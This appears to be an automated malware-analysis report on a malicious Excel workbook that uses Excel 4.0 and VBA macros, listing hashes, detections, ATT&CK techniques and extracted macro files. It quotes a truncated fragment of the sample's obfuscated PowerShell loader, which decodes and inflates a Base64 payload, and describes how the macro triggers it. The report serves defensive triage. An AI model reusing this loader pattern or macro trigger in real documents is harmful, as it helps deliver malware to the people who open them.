Office (OLE) malware analysis — malicious · 48bc74dbf428f886

MALICIOUS

Office (OLE)

39.0 KB Created: 2020-04-15 06:58:50 Authoring application: Microsoft Excel

MD5: 3b87568e75847e8e2adedcd303221c67 SHA-1: b9417966c9ba216a20a6b8d110df51a8a0315ffa SHA-256: 48bc74dbf428f8864d27db1c2f1f98b864ab661b7ce97c9831ba015137b65b63

200 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic

The file contains Excel 4.0 macros that leverage the EXEC function to run PowerShell commands. The script attempts to decode a large Base64 string, which is likely a second-stage payload. The specific PowerShell command executed is 'powershell -arg 'sal uu New-Object; &{(} {(}{[}stRING{]}$VErBoSePRefErENce{)}{[}1,3{]}{+}''X''-JoIN''''{)} {(} uu io.compRESSiON.defLaTEstrEaM{(}{[}system.Io.meMoRysTrEaM{]} {[}conVerT{]}::FROMbASE64StriNG{(} ''ZVULU9pKFP4rOxmum60QSXhpGWYualooPlrB1tb'. The VBA macro also calls 'ExecuteExcel4Macro("RUN(\"RR\")")', suggesting 'RR' might be a macro name or label used to trigger execution.

Heuristics 6

ClamAV: Xls.Malware.Agent-7667559-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Agent-7667559-0
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `820cb8b428caefa499dbdff2fe1d389804ae026ef3c5d9141364f4ba73c78f4f`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	3061 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s). Carved artifact contains 4 long base64-like blob(s).
`macros.bas` `444a06ec09cc37d1c706f37bcfb855bee159d5dd3aadd474eb18e65e1bcc8657`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	866 bytes

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